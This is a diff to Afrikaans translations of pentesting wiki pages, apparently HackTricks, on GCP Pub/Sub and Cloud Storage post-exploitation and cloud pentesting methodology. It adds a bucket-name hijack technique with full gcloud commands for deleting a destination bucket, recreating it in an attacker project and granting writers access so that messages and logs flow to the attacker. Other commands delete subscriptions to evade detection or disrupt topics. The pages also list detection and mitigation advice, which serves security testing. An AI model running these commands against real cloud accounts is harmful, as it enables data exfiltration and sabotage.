 ### `pubsub.topics.publish`
 
-Publiseer 'n boodskap in 'n onderwerp — nuttig om **onverwagte data te stuur**, onverwagte funksionaliteit te aktiveer of kwesbaarhede te misbruik:
+Publiseer 'n boodskap in 'n topic, nuttig om **onverwagte data te stuur** en onverwagte funksionaliteite te aktiveer of vulnerabilities te exploit:
 
 <details>
 
-<summary>Publiseer boodskap in onderwerp</summary>
+<summary>Publiseer boodskap na topic</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-Nuttig om te verhoed dat subscription boodskappe ontvang, moontlik om opsporing te vermy.
+Nuttig om te verhoed dat ’n subscription boodskappe ontvang, moontlik om opsporing te vermy.
 
 <details>
 
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-Nuttig om te verhoed dat 'n subscription boodskappe ontvang, moontlik om opsporing te vermy.\
-Dit is moontlik om 'n topic te verwyder, selfs al is daar subscriptions daaraan gekoppel.
+Nuttig om te verhoed dat 'n subscription boodskappe ontvang, moontlik om detection te vermy.\
+Dit is moontlik om 'n topic te delete selfs met subscriptions wat daaraan gekoppel is.
 
 <details>
 
-<summary>Verwyder topic</summary>
+<summary>Delete topic</summary>
 ```bash
 gcloud pubsub topics delete <TOPIC NAME>
 ```
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-Gebruik hierdie toestemming om 'n instelling van die onderwerp te verander om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Gebruik hierdie permission om 'n instelling van die topic op te dateer om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-Gee jouself toestemming om enige van die vorige aanvalle uit te voer.
+Gee jouself permission om enige van die vorige attacks uit te voer.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-Kry al die boodskappe in 'n webbediener:
+Kry al die boodskappe op 'n web server:
 
 <details>
 
-<summary>Skep 'n push subscription om boodskappe te ontvang</summary>
+<summary>Create push subscription to receive messages</summary>
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
 </details>
 
-Skep 'n subscription en gebruik dit om **pull messages**:
+Skep 'n subscription en gebruik dit om **messages te pull**:
 
 <details>
 
-<summary>Skep pull subscription en haal boodskappe op</summary>
+<summary>Skep pull subscription en haal messages op</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**Verwyder subscription** kan nuttig wees om 'n logverwerkingsisteem of iets soortgelyks te ontwrig:
+**Delete a subscription** kan nuttig wees om ’n logverwerkingstelsel of iets soortgelyks te ontwrig:
 
 <details>
 
-<summary>Verwyder subscription</summary>
+<summary>Delete subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-Gebruik hierdie toestemming om 'n instelling by te werk sodat boodskappe gestoor word op 'n plek wat jy kan bereik (URL, Big Query table, Bucket) of net om dit te ontwrig.
+Gebruik hierdie permission om een of ander setting op te dateer sodat messages gestoor word op ’n plek waartoe jy toegang kan kry (URL, Big Query table, Bucket) of net om dit te ontwrig.
 
 <details>
 
-<summary>Bywerk subskripsie-endpoint</summary>
+<summary>Update subscription endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Pub/Sub subscriptions kan gelewerde boodskappe na Cloud Storage buckets skryf. As 'n subscription aanhou wys na `gs://<bucket-name>` en 'n attacker kan daardie bucket delete, kan die attacker dieselfde wêreldwyd-unieke bucket name in 'n ander project recreate en toekomstige boodskappe ontvang sonder om die subscription te verander.
+
+Dit kan waardevol wees wanneer die attacker nie `pubsub.subscriptions.update` kan gebruik nie, maar wel die destination bucket kan delete met permissions soos `storage.buckets.delete`, `storage.objects.delete`, en `storage.objects.list`.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** exfiltration van future Pub/Sub messages ge-argiveer na Cloud Storage, insluitend application events, failed pipeline payloads, logs, of data lake ingestion records.
+
+**Detection & Mitigation:** alert op deletion van buckets wat deur Pub/Sub subscriptions gebruik word, review subscriptions met `cloudStorageConfig`, watch vir delivery errors gevolg deur bucket recreation, en limit destructive access op message archival buckets.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-Gee jouself die permissies wat nodig is om enige van die vroeër genoemde aanvalle uit te voer.
+Give yourself the permissions needed to perform any of the previously commented attacks.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-Koppel 'n schema aan 'n topic sodat die boodskappe daaraan nie voldoen nie en gevolglik die topic ontwrig word.\
-As daar geen schemas is nie, moet jy moontlik een skep.
+Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
+If there aren't any schemas you might need to create one.
 
 <details>
 
-<summary>Skep schema-lêer en koppel aan topic</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-Dit mag lyk asof deur 'n schema te verwyder jy boodskappe kan stuur wat nie aan die schema voldoen nie. Egter, aangesien die schema verwyder sal word, sal geen boodskap eintlik in die topic inkom nie. Dus is dit **USELESS**:
+Dit mag lyk soos die verwydering van ’n schema, maar jy sal steeds boodskappe kan stuur wat nie aan die schema voldoen nie. Omdat die schema egter verwyder sal word, sal geen boodskap werklik binne die topic inkom nie. So dit is **USELESS**:
 
 <details>
 
-<summary>Verwyder schema (nie nuttig nie)</summary>
+<summary>Delete schema (not useful)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-Gee jouself die permissies wat benodig word om enige van die voorafgenoemde attacks uit te voer.
+Gee jouself die permissions wat nodig is om enige van die voorheen gekommentarieerde attacks uit te voer.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-Dit sal 'n snapshot skep van al die unACKed messages en hulle terug in die subscription plaas. Nie baie nuttig vir 'n attacker nie, maar hier is dit:
+This will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:
 
 <details>
 
-<summary>Skep snapshot en seek daarna</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index 0a1975c03..1bff71f72 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## Cloud Storage
 
-Vir meer inligting oor Cloud Storage, kyk na hierdie blad:
+Vir meer inligting oor Cloud Storage kyk hierdie bladsy:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### Gee openbare toegang
+### Gee Openbare Toegang
 
-Dit is moontlik om eksterne gebruikers (met of sonder aanmelding by GCP) toegang tot bucket-inhoud te gee. Tog is die opsie om 'n bucket publiek bloot te stel standaard gedeaktiveer:
+Dit is moontlik om eksterne gebruikers (aangemeld by GCP of nie) toegang te gee tot bucket inhoud. By verstek sal die bucket egter die opsie hê om 'n bucket publiek bloot te stel gedeaktiveer:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -27,23 +27,55 @@ gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entit
 ```
 As jy probeer om **ACLs aan 'n bucket met gedeaktiveerde ACLs** te gee, sal jy hierdie fout kry: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-Om toegang tot oop buckets via 'n blaaier te kry, besoek die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`
+Om open buckets via browser te benader, gebruik die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-Om 'n object te verwyder:
+Om 'n object te delete:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
 ### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
 
-Om 'n bucket te verwyder:
+Om 'n bucket te skrap:
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### Deaktiveer HMAC-sleutels
+### Globale bucket-naam oorneem van upstream writers
 
-Die `storage.hmacKeys.update` toestemming laat toe om HMAC-sleutels te deaktiveer, en die `storage.hmacKeys.delete` toestemming laat 'n identiteit toe om HMAC-sleutels wat geassosieer is met diensrekeninge in Cloud Storage te verwyder.
+Cloud Storage bucket names is globaal uniek. Voordat jy ’n bucket delete, check of enige geoutomatiseerde service steeds na daardie bucket by naam skryf. As die bucket gedelete word en dieselfde naam in ’n attacker-controlled project recreated word, kan upstream writers soos Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, of Storage Transfer Service jobs voortgaan om toekomstige data na die replacement bucket te skryf.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+Gee die relevante writer identity toegang tot die replacement bucket as die upstream service dit vereis:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potensiële Impak:** langtermyn-uitfiltrering van logs, messages, transfer outputs, backups, of data pipeline artifacts sonder om die oorspronklike router resource te wysig.
+
+**Detection & Mitigation:** behandel bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, waarsku oor dangling destinations, beperk `storage.buckets.delete`, en gebruik retention policies of legal holds vir kritieke export buckets wanneer gepas.
+
+### Deactivate HMAC Keys
+
+Die `storage.hmacKeys.update` permission laat die disabling van HMAC keys toe, en die `storage.hmacKeys.delete` permission laat ’n identity toe om HMAC keys associated with service accounts in Cloud Storage te delete.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,13 +84,13 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
-Die `storage.buckets.setIpFilter`-toestemming, tesame met die `storage.buckets.update`-toestemming, stel 'n identiteit in staat om IP-adresfilters op 'n Cloud Storage bucket te konfigureer, en spesifiseer watter IP-reekse of adresse toegelaat word om toegang tot die bucket se hulpbronne te kry.
+Die `storage.buckets.setIpFilter`-toestemming, saam met die `storage.buckets.update`-toestemming, laat 'n identiteit toe om IP-adresfilters op 'n Cloud Storage-bucket te konfigureer, en spesifiseer watter IP-reekse of -adresse toegang tot die bucket se resources mag kry.
 
-Om die IP-filter heeltemal te verwyder, kan die volgende opdrag gebruik word:
+Om die IP-filter heeltemal skoon te maak, kan die volgende command gebruik word:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-Om die gefilterde IPs te verander, kan die volgende kommando gebruik word:
+Om die gefilterde IPs te verander, kan die volgende command gebruik word:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 8d525e631..238841bb4 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -6,39 +6,65 @@
 
 ## Basiese Metodologie
 
-Elke cloud het sy eie eienaardighede maar oor die algemeen is daar 'n paar **gewone dinge wat 'n pentester behoort te kontroleer** wanneer 'n cloud-omgewing getoets word:
+Elke cloud het sy eie eienaardighede, maar oor die algemeen is daar ’n paar **algemene dinge wat ’n pentester moet nagaan** wanneer ’n cloud-omgewing getoets word:
 
-- **Benchmark kontroles**
-- Dit sal jou help om **die grootte te verstaan** van die omgewing en **gebruikte services**
-- Dit sal jou ook toelaat om 'n paar **vinnige miskonfigurasies** te vind aangesien jy die meeste van hierdie toetse met **geautomatiseerde tools** kan uitvoer
+- **Benchmark checks**
+- Dit sal jou help om die **grootte van die omgewing** en die **services wat gebruik word** te verstaan
+- Dit sal jou ook toelaat om ’n paar **vinnige misconfigurations** te vind, aangesien jy die meeste van hierdie toetse met **outomated tools** kan uitvoer
 - **Services Enumeration**
-- Jy sal waarskynlik nie veel meer miskonfigurasies hier vind as jy die benchmark-toetse korrek uitgevoer het nie, maar jy mag sommige vind wat in die benchmark-toets nie gesoek is nie.
-- Dit sal jou toelaat om te weet **wat presies gebruik word** in die cloud-omgewing
+- Jy sal waarskynlik nie hier veel meer misconfigurations vind as jy die benchmark tests korrek uitgevoer het nie, maar jy kan sommige vind waarna nie in die benchmark test gekyk is nie.
+- Dit sal jou toelaat om te weet **wat presies in die cloud env gebruik word**
 - Dit sal baie help in die volgende stappe
 - **Check exposed assets**
-- Dit kan gedoen word tydens die vorige afdeling; jy moet **alles uitsien wat moontlik op een of ander wyse na die Internet blootgestel is** en hoe dit toeganklik is.
-- Hier bedoel ek **manueel blootgestelde infrastruktuur** soos instances met web pages of ander ports wat blootgestel is, en ook ander **cloud managed services wat gekonfigureer kan word** om blootgestel te wees (soos DBs of buckets)
-- Dan moet jy kontroleer **of daardie resource blootgestel kan word of nie** (vertroulike inligting? kwetsbaarhede? miskonfigurasies in die blootgestelde service?)
+- Dit kan tydens die vorige afdeling gedoen word; jy moet **uitvind alles wat op enige manier potensieel aan die Internet blootgestel is** en hoe dit verkry kan word.
+- Hier verwys ek na **handmatig blootgestelde infrastructure** soos instances met web pages of ander poorte wat blootgestel word, en ook na ander **cloud managed services wat gekonfigureer kan word** om blootgestel te wees (soos DBs of buckets)
+- Dan moet jy nagaan **of daardie resource blootgestel kan word of nie** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
 - **Check permissions**
-- Hier behoort jy **al die permissions van elke role/user** binne die cloud uit te vind en hoe dit gebruik word
-- Te **veel hoogs bevoorregte** (control everything) rekeninge? Gegenereerde sleutels wat nie gebruik word?... Die meeste van hierdie kontroles behoort reeds in die benchmark-toetse gedoen te wees
-- As die kliënt OpenID of SAML of ander **federation** gebruik, mag jy hulle vir verdere **inligting** moet vra oor **hoe elke role toegewys word** (dit is nie dieselfde dat die admin role aan 1 gebruiker toegewys is of aan 100 nie)
-- Dit is **nie genoeg om te vind** watter gebruikers **admin** permissions het "\*:\*". Daar is baie **ander permissions** wat, afhangend van die gebruikte services, baie **sensitief** kan wees.
-- Boonop is daar **potensiële privesc** maniere om te volg deur misbruik van permissions. Al hierdie dinge moet in ag geneem word en **so veel moontlike privesc-paaie** moet gerapporteer word.
+- Hier moet jy **al die permissions van elke rol/user** binne die cloud uitvind en hoe dit gebruik word
+- Te **baie hoogs geprivilegieerde** (control everything) rekeninge? Generated keys wat nie gebruik word nie?... Die meeste van hierdie checks behoort reeds in die benchmark tests gedoen te wees
+- As die client OpenID of SAML of ander **federation** gebruik, moet jy dalk verdere **information** vra oor **hoe elke rol toegeken word** (dit is nie dieselfde dat die admin role aan 1 user of aan 100 toegeken is nie)
+- Dit is **nie genoeg om te vind** watter users admin permissions "\*:\*" het nie. Daar is baie **ander permissions** wat, afhangende van die services wat gebruik word, baie **sensitief** kan wees.
+- Verder is daar **potensiële privesc**-maniere om aan te pak deur permissions te misbruik. Al hierdie dinge moet in ag geneem word en **soveel moontlik privesc paths** moet gerapporteer word.
 - **Check Integrations**
-- Dit is hoogs waarskynlik dat **integrations met ander clouds of SaaS** binne die cloud-omgewing gebruik word.
-- Vir **integrations van die cloud wat jy oudit** met ander platforme moet jy aanraai **wie toegang het om daardie integration te (mis)bruik** en jy moet vra **hoe sensitief** die aksie is wat uitgevoer word.\
-Byvoorbeeld, wie kan in 'n AWS bucket skryf waar GCP data van kry (vra hoe sensitief daardie aksie in GCP is wat daardie data verwerk).
-- Vir **integrations binne die cloud wat jy oudit** vanaf eksterne platforme, moet jy vra **wie eksterne toegang het om daardie integration te (mis)bruik** en kyk hoe daardie data gebruik word.\
-Byvoorbeeld, as 'n service 'n Docker image gebruik wat in GCR gehost word, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie image sal kry wanneer dit binne 'n AWS cloud uitgevoer word.
+- Dit is baie waarskynlik dat **integrations met ander clouds of SaaS** binne die cloud env gebruik word.
+- Vir **integrations van die cloud wat jy audit** met ander platform, moet jy meld **wie toegang het om daardie integration te (mis)bruik** en jy moet vra **hoe sensitief** die aksie is wat uitgevoer word.\
+Byvoorbeeld, wie kan skryf in ’n AWS bucket waaruit GCP data kry (vra hoe sensitief die aksie in GCP is wanneer daardie data behandel word).
+- Vir **integrations binne die cloud wat jy audit** vanaf eksterne platforms, moet jy vra **wie ekstern toegang het om daardie integration te (mis)bruik** en nagaan hoe daardie data gebruik word.\
+Byvoorbeeld, as ’n service ’n Docker image gebruik wat in GCR gehost word, moet jy vra wie toegang het om dit te wysig en watter sensitiewe info en access daardie image sal kry wanneer dit binne ’n AWS cloud uitgevoer word.
+
+### Hunt autonomous data streams writing to globally-unique storage
+
+During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
+
+Focus this check in the relevant service pages:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
 
 ## Multi-Cloud tools
 
-Daar is verskeie tools wat gebruik kan word om verskillende cloud-omgewings te toets. Die installasie-stappe en links gaan in hierdie afdeling aangedui word.
+Daar is verskeie tools wat gebruik kan word om verskillende cloud-omgewings te toets. Die installasiestappe en links gaan in hierdie afdeling aangedui word.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
+’n Tool om **bad configurations en privesc path in clouds en across clouds/SaaS te identifiseer.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Dit ondersteun **AWS, GCP & Azure**. Kyk hoe om elke verskaffer te konfigureer by [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Dit ondersteun **AWS, GCP & Azure**. Kyk hoe om elke verskaffer te konfigureer in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +172,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Laai Steampipe af en installeer dit ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Of gebruik Brew:
+Laai af en installeer Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Of gebruik Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Kontroleer alle projekte</summary>
+<summary>Kontroleer alle Projects</summary>
 
-Om al die projekte te kontroleer, moet jy die `gcp.spc` lêer genereer wat aandui watter projekte getoets moet word. Volg net die aanwysings in die volgende skrip
+Om al die projects te kontroleer moet jy die `gcp.spc` file genereer wat al die projects aandui om te test. Jy kan net die instruksies van die volgende script volg
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,9 +220,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Om **ander GCP-insigte** na te gaan (nuttig om dienste te lys) gebruik: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Om **ander GCP-insigte** na te gaan (nuttig vir die enumerering van dienste) gebruik: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Om Terraform GCP-kode na te gaan: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Om Terraform GCP-code na te gaan: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
 Meer GCP-plugins van Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Om Terraform AWS-kode te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Meer AWS-plugins vir Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Dit vereis python2.7 en blyk ononderhou te wees.
+Dit vereis python2.7 en lyk ononderhou.
 
 ### Nessus
 
-Nessus het 'n _**Audit Cloud Infrastructure**_ scan wat die volgende ondersteun: AWS, Azure, Office 365, Rackspace, Salesforce. Sekere ekstra konfigurasies in **Azure** is nodig om 'n **Client Id** te bekom.
+Nessus het 'n _**Audit Cloud Infrastructure**_ skandering wat ondersteun: AWS, Azure, Office 365, Rackspace, Salesforce. Sommige ekstra konfigurasies in **Azure** is nodig om 'n **Client Id** te verkry.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist is 'n **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) van Cloud Providers.
+Cloudlist is 'n **multi-cloud tool vir die verkryging van Assets** (Hostnames, IP Addresses) van Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography is 'n Python-instrument wat infrastruktuurbates en die verhoudings tussen hulle in 'n intuïtiewe grafiekweergave konsolideer en deur 'n Neo4j-databasis aangedryf word.
+Cartography is 'n Python-instrument wat infrastruktuurbates en die verhoudings tussen hulle konsolideer in 'n intuïtiewe grafiek-oorsig aangedryf deur 'n Neo4j-databasis.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase versamel bates en verhoudings van dienste en stelsels, insluitend cloud-infrastruktuur, SaaS-toepassings, sekuriteitskontroles en meer, in 'n intuïtiewe grafiek-aansig wat deur die Neo4j-databasis ondersteun word.
+Starbase versamel bates en verhoudings van dienste en stelsels insluitend cloud-infrastruktuur, SaaS-toepassings, security controls, en meer in 'n intuïtiewe grafiek-aansig ondersteun deur die Neo4j-databasis.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Ontdek die mees bevoorregte gebruikers in die gescande AWS of Azure-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell.
+Ontdek die mees bevoorregte gebruikers in die geskandeerde AWS- of Azure-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +398,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-'n instrument om die infrastruktuur, lêers en apps van 'n maatskappy (teiken) op die grootste cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) te vind.
+'n Tool om 'n maatskappy (teiken) se infrastruktuur, lêers, en apps op die top cloud providers te vind (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox is 'n tool om uitbuitbare aanvalspaaie in cloud-infrastruktuur te vind (tans word net AWS & Azure ondersteun, met GCP wat binnekort volg).
-- Dit is 'n enumeration tool wat bedoel is om manuele pentesting aan te vul.
-- Dit skep of wysig geen data binne die cloud-omgewing nie.
+- CloudFox is 'n tool om exploitable attack paths in cloud infrastructure te vind (tans word net AWS & Azure ondersteun met GCP wat binnekort kom).
+- Dit is 'n enumeratie tool wat bedoel is om manual pentesting aan te vul.
+- Dit skep of verander geen data binne die cloud environment nie.
 
-### More lists of cloud security tools
+### Meer lyste van cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +436,19 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## Algemene cloud-sekuriteitsfunksies
+## Common Cloud Security Features
 
-### Vertroulike rekenaarskap
+### Confidential Computing
 
 {{#ref}}
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}